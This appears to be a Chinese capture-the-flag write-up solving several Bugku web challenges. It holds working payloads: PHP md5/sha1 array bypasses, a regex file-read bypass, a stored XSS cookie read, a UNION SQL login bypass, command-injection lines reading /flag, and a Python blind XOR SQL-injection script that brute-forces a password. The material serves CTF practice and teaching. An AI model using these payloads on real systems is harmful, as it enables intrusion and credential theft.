bugku3
前女友 md5
进去又是讴歌乱进的东西
源代码
看到code.txt,访问一下
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];$v3 = $_GET['v3'];if($v1 != $v2 && md5($v1) == md5($v2)){if(!strcmp($v3, $flag)){echo $flag;}}
}
?>
做过好多次了,可以用PHP处理0e开头md5时hash字符串漏洞来绕过
https://www.cnblogs.com/0yst3r-2046/p/10748412.html
或者利用数组
在PHP中
MD5是不能处理数组的,md5(数组)会返回null
所以即
md5(a[])==null,md5(b[])==null,md5(a[])=md5(b[])=null也可以满足代码中的条件
/?v1[]=1&v2[]=2&v3[]=3;
需要管理员
进去是404
用dirsearch扫一下
发现robots.txt
看到/resusl.php
发现需要get传参x为密码
随便尝试一下admin居然成功了
No one knows regex better than me 正则
<?php
error_reporting(0);
$zero=$_REQUEST['zero'];
$first=$_REQUEST['first'];
$second=$zero.$first;
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){$key=$second;if(preg_match("/\.\.|flag/",$key)){die("Noooood hacker!");}else{$third=$first;if(preg_match("/\\|\056\160\150\x70/i",$third)){$end=substr($third,5);highlight_file(base64_decode($zero).$end);//maybe flag in flag.php}}
}
else{highlight_file(__FILE__);
}
preg_match_all(匹配的正则表达式,需要匹配的字符串):=>运用正则表达式匹配规则的全部内容,返回匹配的次数.
$second='Hbwqqqqq';
$a= preg_match_all("/q/i",$second); //返回值是5
preg_match()同上,只是匹配一次就停止,成功返回1,否则返回0
substr()字符串的截取函数 共有三个参数 .
第一个需要截取的字符串
第二个从第几个开始截取
第三个截取字符串的长度
$second='Hbwq123';
$c= substr($second,4,2);
print($c);//输出12
审计
传入的两个参数只要有这其中的字符就行了(一个就行)
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second))
不能有.或者flag
if(preg_match("/\.\.|flag/",$key))
\056\160\150\x70=>.php 为16进制和8进制ascii代码,php可自动识别
这里匹配过程是这样的 \| => | => |
最终为|.php
if(preg_match("/\\|\056\160\150\x70/i",$third))
$third=$first
仅需构造xxxxx.php
型的字符串即可,但是第三次匹配字符为|.php
,应当为
xxxx|.php
//xxxx可为oror aaaa 等等
而$zero
为base64(‘flag’)即可
ZmxhZw==
/?first=aaaa|.php&zero=ZmxhZw==
各种绕过哟 数组
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {if ($_GET['uname'] == $_POST['passwd'])print 'passwd can not be uname.';else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))die('Flag: '.$flag);elseprint 'sorry!';}
?>
只要使uname的sha1的值与passwd的sha1的值相等即可,但是同时他们两个的值又不能相等
get:
/?uname[]=1&id=margin
post:
passwd[]=1;
好像需要密码 bp爆破
根据提示,我们先抓包
爆破
得到密码12468
得到flag
留言板 存储型xss
进去是这样的
也不知道干嘛
先用dirsearch扫描一下
访问一下看看
这里登录我用弱口令都尝试了一下但是没有成功
用bp也没爆破出来。。
看别人wp说有db.sql文件
# Host: localhost (Version: 5.5.53)
# Date: 2019-08-04 16:13:22
# Generator: MySQL-Front 5.3 (Build 4.234)/*!40101 SET NAMES utf8 */;#
# Structure for table "text"
#CREATE DATABASE xss DEFAULT CHARACTER SET utf8;
use xss; DROP TABLE IF EXISTS `text`;
CREATE TABLE `text` (`Id` int(11) NOT NULL AUTO_INCREMENT,`text` varchar(255) DEFAULT NULL,PRIMARY KEY (`Id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;#
# Data for table "text"
#/*!40000 ALTER TABLE `text` DISABLE KEYS */;
/*!40000 ALTER TABLE `text` ENABLE KEYS */;#
# Structure for table "user"
#DROP TABLE IF EXISTS `user`;
CREATE TABLE `user` (`Id` int(11) NOT NULL AUTO_INCREMENT,`username` varchar(255) DEFAULT NULL,`password` varchar(255) DEFAULT NULL,PRIMARY KEY (`Id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;#
# Data for table "user"
#/*!40000 ALTER TABLE `user` DISABLE KEYS */;
INSERT INTO `user` VALUES (1,'admin','011be4d65feac1a8');
/*!40000 ALTER TABLE `user` ENABLE KEYS */;
INSERT INTO `user` VALUES (1,'admin','011be4d65feac1a8');
可以得到账号密码
登陆成功
我们可以发现如果在留言板写入
<script>alert(1)</script>
发现可以被执行
那么我们写入,构造一个获取cookie的js代码
<script>alert(document.cookie)</script>
访问管理员界面
file_get_contents
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
empty() 函数用于检查一个变量是否为空。empty() 判断一个变量是否被认为是空的。当一个变量并不存在,或者它的值等同于 FALSE,那么它会被认为不存在。如果变量不存在的话,empty()并不会产生警告。
extract()函数从数组里将变量导入到当前的符号表。extract函数:可以进行变量覆盖。
语法:extract(array,extract_rules,prefix)
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组里的各元素,将在当前符号表里创建对应的一个变量。第二个参数 type 用于指定当某个变量已经存在,而数组里又有同名元素时,extract() 函数如何对待这样的突。该函数返回成功导入到符号表里的变量数目。file_get_contents()把整个文件读入一个字符串里。
语法:file_get_contents(path,include_path,context,start,max_length)
该函数是用于把文件的内容读入到一个字符串里的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。trim()函数移除字符串两侧的空白字符或其他预定义字符。
语法trim(string,charlist)
经过分析,该段代码是将通过GET方法传入的参数赋值给其内某个变量,传入的参数如果和$fn文件里的字符一致时,便可以得到flag
就是要上传 ac和fn两个参数
且ac的值等于fn文件内容的值
这时候就可以用到php伪协议的php://input
他的作用是可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
顺便记一下这个伪协议需要allow_url_include为on
用hackbar一直没成功就用了bp
因为我们访问一下flag.txt可以看到
所以我们让ac=bugku也是一样的道理
这里有两种方式 其实原理一样
login2 sql
进去是这样的登录框
抓包先看看
解密
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}
想要登录成功,可以 通过输入不存在用户,用union select 构造出指定密码的md5值。
username=admin' union select 1,md5(123)#&password=123
发现登录成功
payload:123 | cat /flag >1.php查看 flag文件并输出到1.php里边1.php可以在网站子目录查看内容拿到flag
点login咋没反应 cookie
进去是这样的登录界面
抓包了 但是一点反应都没有 登陆信息也没有
那查看一下源代码
这里看到admin.css
有点奇怪第一行
访问一下看看
当传入的参数是空的,cookie的值反序列化后等于key,则显示flag
===:三个等号我们称为等同符,当等号两边的值为相同类型的时候,直接比较等号两边的值,值相同则返回true,若等号两边的值类型不同时直接返回false。
要上传cookie 直接用bp
BUGKU=s:13:"ctf.bugku.com";
都过滤了 sql 命令执行
进去是这样的登录
放到bp
fuzz一下
经测试逗号被过滤了,但异或符号 ^ 还可以使用,当uname输入非admin时,返回值都为username error,当uname输入admin时,返回值为password error
说明用户名为amdin,接下来开始利用异或注入
-
判断密码长度:
uname=admin'^(length(passwd)=32)^'
最后的 ‘ 用来闭合原本的右括号,这个结果返回empty,因此页面显示username error;分析返回结果时需要注意sql运算符的优先级, ^ > = ,所以先进行异或运算,最后进行比较运算,且字符串与数字做异或运算时,会先进行类型转换,如’admin’^1相当于0^1;此题中,’admin’相当于0,(length(passwd)=32)相当于1,’’相当于0,所以0^1^0为1,最后进行uname的比较运算,即在数据库中匹配uname=1的数据,而数据库中的uname为’admin’,在进行’admin’=1比较时,’admin’先转换成整型0,0=1为false,所以返回empty。
同理,当payload中密码长度修改为31时,异或运算相当于0^0^0,结果为0,在做比较运算时,uname=0,而’admin’转化为0,0=0为true,则查询成功,uname绕过了,因此页面显示passwd error;故可以通过这一点判断密码长度为32;猜测密码为md5密文;
判断密码每一位字符:uname=admin'^(ascii(substr((passwd)from(1))=52)^'
用于判读密码第一位的字符(注意mysql和php不同,substr的第一位不是从0开始,而是1);substr((passwd)from(1))利用了括号绕过逗号,相当于substr(passwd,1)。和判断密码长度的原理相同,当密码第一位判断正确时,返回username error,错误时返回passwd error,根据返回结果的不同爆破出32位密码,脚本如下:
import requests
url='http://114.67.175.224:10288/login.php'
mima=''
r=requests.session()
for i in range(1,33):for j in range(48,123):data={'uname':f"admin'^(ascii(substr((passwd)from({i})))={j})^'",'passwd':'123'}resp=r.post(url,data=data).textif 'username' in resp:print(f"第{i}个:{chr(j)}")mima+=chr(j)
print(mima)
得到32位密文后,放入somd5解密得到密码bugkuctf,利用账号admin和密码bugku登录后,进入新的页面
有系统命令执行功能,但过滤部分字符串,获得flag的payload有很多,下面列举几个并作说明:
cat<>/flag
相关文章:

bugku3
前女友 md5 进去又是讴歌乱进的东西 源代码 看到code.txt,访问一下 <?php if(isset($_GET[v1]) && isset($_GET[v2]) && isset($_GET[v3])){$v1 $_GET[v1];$v2 $_GET[v2];$v3 $_GET[v3];if($v1 ! $v2 && md5($v1) md5($v2)){if(!strcmp($v3,…...
相机的白平衡
相机的白平衡是指相机根据拍摄环境的光源色温,调整图像中白色看起来应该是白色的功能。白平衡的设置对于确保图像中的颜色准确性非常重要,因为不同光源的色温会使白色看起来有不同的色调。 通常,相机提供了一些预设的白平衡模式,…...

刷题日记-Day2- Leedcode-977. 有序数组的平方,209. 长度最小的子数组,59. 螺旋矩阵 II-Python实现
刷题日记Day2 977 有序数组的平方209. 长度最小的子数组59. 螺旋矩阵 II 977 有序数组的平方 链接:https://leetcode.cn/problems/squares-of-a-sorted-array/description/ 给你一个按 非递减顺序 排序的整数数组 nums,返回 每个数字的平方 组成的新数组…...
Linux命令-chcon命令(修改对象(文件)的安全上下文)
说明 chcon命令 是修改对象(文件)的安全上下文,比如:用户、角色、类型、安全级别。也就是将每个文件的安全环境变更至指定环境。使用 --reference 选项时,把指定文件的安全环境设置为与参考文件相同。chcon命令位于 /…...

【漏洞复现】大华DSS视频管理系统信息泄露漏洞
Nx01 产品简介 大华DSS数字监控系统是一个在通用安防视频监控系统基础上设计开发的系统,除了具有普通安防视频监控系统的实时监视、云台操作、录像回放、报警处理、设备治理等功能外,更注重用户使用的便利性。 Nx02 漏洞描述 大华DSS视频管理系统存在信…...

websocket了解下
websocket请求长啥样 GET /chat HTTP/1.1 Host: example.com Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ Sec-WebSocket-Version: 13 啥是websocket websocket是http的一种,服务器可以主动向客户端推送信息,…...
docker install private registry 【docker 安装 registry 仅证书认证】
预备条件: 安装docker 我们设定镜像仓库域名为registry01.dev.com 配置/etc/hosts 192.168.23.51 registry01.dev.com安装 registry #!/bin/bashreg_ip$1 reg_n$2 reg_port$3if [ $# -eq 0 ]; thenecho "Usage: $0 [reg_ip] [registry_name]"echo &q…...

JavaWeb——004Maven SpringBootWeb入门
一、Maven 1、什么是maven? 2、Maven的作用是什么?(3种) 1.1、方便的依赖管理 依赖管理:有了Maven,我们就不用再手动导入Jar包了,我们只需要在配置文件当中,简单描述一下项目所需要…...
数据结构与算法-常用排序算法
一、常用排序说明 当涉及排序算法时,理解每个算法的工作原理、时间复杂度和空间复杂度是至关重要的。下面对常用排序算法进行详细说明: 1、冒泡排序(Bubble Sort): 工作原理:比较相邻的元素并交换&am…...

链表之“无头单向非循环链表”
目录 编辑 1.顺序表的问题及思考 2.链表 2.1链表的概念及结构 2.2无头单向非循环链表的实现 1.创建结构体 2.单链表打印 3.动态申请一个节点 3.单链表尾插 4.单链表头插 5.单链表尾删 6.单链表头删 7.单链表查找 8.单链表在pos位置之前插入x 9.单链表删除pos位…...

一休哥助手网页版如何使用
一休哥助手网页版可以使用GPT4提问了,具体操作流程如下: 1.登录网页版一休哥助手(首次打开页面时,初始化久一点,请耐心等一下) https://www.fudai.fun 2.登录后就可以使用GPT4了 3.你还可以自定义系统角色…...

个人博客系统测试
文章目录 一、项目介绍二、测试1. 功能测试2. 自动化测试(1)添加相关依赖(2)新建包并在报下创建测试类(3)亮点及难点 一、项目介绍 个人博客系统采用前后端分离的方法来实现,同时使用了数据库来…...

智慧应急的未来:物联网技术引领智慧应急发展新趋势
一、引言 随着社会的快速发展,各类突发事件频繁发生,对社会的安全稳定构成了严重威胁。传统的应急管理模式已难以满足现代社会对安全保障的需求,急需探索新型的应急管理手段。在这个背景下,智慧应急应运而生,以其高效…...
字符串摘要(C语言)
题目描述 给定一个字符串的摘要算法,请输出给定字符串的摘要值。 去除字符串中非字母的符号。如果出现连续字符(不区分大小写),则输出:该字符(小写) 连续出现的次数。如果是非连续的字符&…...

Linux进一步研究权限-----------ACL使用
一、使用情况 1.1、场景: 某个大公司,在一个部门,有一个经理和手下有两个员工,在操控一个Linux项目,项目又分为三期做,然而一期比较重要,经理带着员工做完了,公司就觉得技术难点已经做完攻克了࿰…...

剪辑视频调色软件有哪些 剪辑视频软件哪个最好 剪辑视频怎么学 剪辑视频的方法和步骤 会声会影2024 会声会影视频制作教程
看了很多调色教程,背了一堆调色参数,可最终还是调不出理想的效果。别再怀疑自己了,不是你的剪辑技术不行,而是剪辑软件没选对。只要掌握了最基本的调色原理,一款适合自己的视频剪辑软件是很容易出片的。 有关剪辑视频…...

【Linux进阶之路】Socket —— “UDP“ “TCP“
文章目录 一、再识网络1. 端口号2. 网络字节序列3.TCP 与 UDP 二、套接字1.sockaddr结构2.UDP1.server端1.1 构造函数1.2 Init1.3 Run 2.客户端1.Linux2.Windows 3.TCP1. 基本接口2. 客户端3. 服务端1.版本12.版本23.版本34.版本4 三、守护进程尾序 一、再识网络 1. 端口号 在…...
一些用 GPT 翻译的计算机科学/人工智能 PDF 讲义
3D成像.pdf3D成像技术.pdf3D点云分析.pdfAAAI 2019 笔记.pdfCMU 10.708 概率图模型讲义.pdfCMU 15-312 编程语言基础讲义.pdfCMU 15-411 编译器设计讲义.pdfCMU 15-819 同伦类型论讲义.pdfCMU 15-819O 程序分析讲义.pdfCUNY CSci335 软件设计与分析 3 讲义.pdfDixie IT4500 信息…...

重大更新:GPT-4 API 现全面向公众开放!
重大更新:GPT-4 API 现全面向公众开放! 在 AIGC(人工智能生成内容)领域内,我们一直致力于跟踪和分析如 OpenAI、百度文心一言等大型语言模型(LLM)的进展及其在实际应用中的落地情况。我们还专注…...

【Python笔记-设计模式】对象池模式
一、说明 用于管理对象的生命周期,重用已经创建的对象,从而减少资源消耗和创建对象的开销 (一) 解决问题 主要解决频繁创建和销毁对象所带来的性能开销问题。如数据库连接、线程管理、网络连接等,对象的创建和销毁成本相对较高,…...

XML Group端口详解
在XML数据映射过程中,经常需要对数据进行分组聚合操作。例如,当处理包含多个物料明细的XML文件时,可能需要将相同物料号的明细归为一组,或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码,增加了开…...

Spark 之 入门讲解详细版(1)
1、简介 1.1 Spark简介 Spark是加州大学伯克利分校AMP实验室(Algorithms, Machines, and People Lab)开发通用内存并行计算框架。Spark在2013年6月进入Apache成为孵化项目,8个月后成为Apache顶级项目,速度之快足见过人之处&…...

练习(含atoi的模拟实现,自定义类型等练习)
一、结构体大小的计算及位段 (结构体大小计算及位段 详解请看:自定义类型:结构体进阶-CSDN博客) 1.在32位系统环境,编译选项为4字节对齐,那么sizeof(A)和sizeof(B)是多少? #pragma pack(4)st…...

基于Flask实现的医疗保险欺诈识别监测模型
基于Flask实现的医疗保险欺诈识别监测模型 项目截图 项目简介 社会医疗保险是国家通过立法形式强制实施,由雇主和个人按一定比例缴纳保险费,建立社会医疗保险基金,支付雇员医疗费用的一种医疗保险制度, 它是促进社会文明和进步的…...

【第二十一章 SDIO接口(SDIO)】
第二十一章 SDIO接口 目录 第二十一章 SDIO接口(SDIO) 1 SDIO 主要功能 2 SDIO 总线拓扑 3 SDIO 功能描述 3.1 SDIO 适配器 3.2 SDIOAHB 接口 4 卡功能描述 4.1 卡识别模式 4.2 卡复位 4.3 操作电压范围确认 4.4 卡识别过程 4.5 写数据块 4.6 读数据块 4.7 数据流…...
全面解析各类VPN技术:GRE、IPsec、L2TP、SSL与MPLS VPN对比
目录 引言 VPN技术概述 GRE VPN 3.1 GRE封装结构 3.2 GRE的应用场景 GRE over IPsec 4.1 GRE over IPsec封装结构 4.2 为什么使用GRE over IPsec? IPsec VPN 5.1 IPsec传输模式(Transport Mode) 5.2 IPsec隧道模式(Tunne…...

Linux --进程控制
本文从以下五个方面来初步认识进程控制: 目录 进程创建 进程终止 进程等待 进程替换 模拟实现一个微型shell 进程创建 在Linux系统中我们可以在一个进程使用系统调用fork()来创建子进程,创建出来的进程就是子进程,原来的进程为父进程。…...
#Uniapp篇:chrome调试unapp适配
chrome调试设备----使用Android模拟机开发调试移动端页面 Chrome://inspect/#devices MuMu模拟器Edge浏览器:Android原生APP嵌入的H5页面元素定位 chrome://inspect/#devices uniapp单位适配 根路径下 postcss.config.js 需要装这些插件 “postcss”: “^8.5.…...

Rust 开发环境搭建
环境搭建 1、开发工具RustRover 或者vs code 2、Cygwin64 安装 https://cygwin.com/install.html 在工具终端执行: rustup toolchain install stable-x86_64-pc-windows-gnu rustup default stable-x86_64-pc-windows-gnu 2、Hello World fn main() { println…...

C# winform教程(二)----checkbox
一、作用 提供一个用户选择或者不选的状态,这是一个可以多选的控件。 二、属性 其实功能大差不差,除了特殊的几个外,与button基本相同,所有说几个独有的 checkbox属性 名称内容含义appearance控件外观可以变成按钮形状checkali…...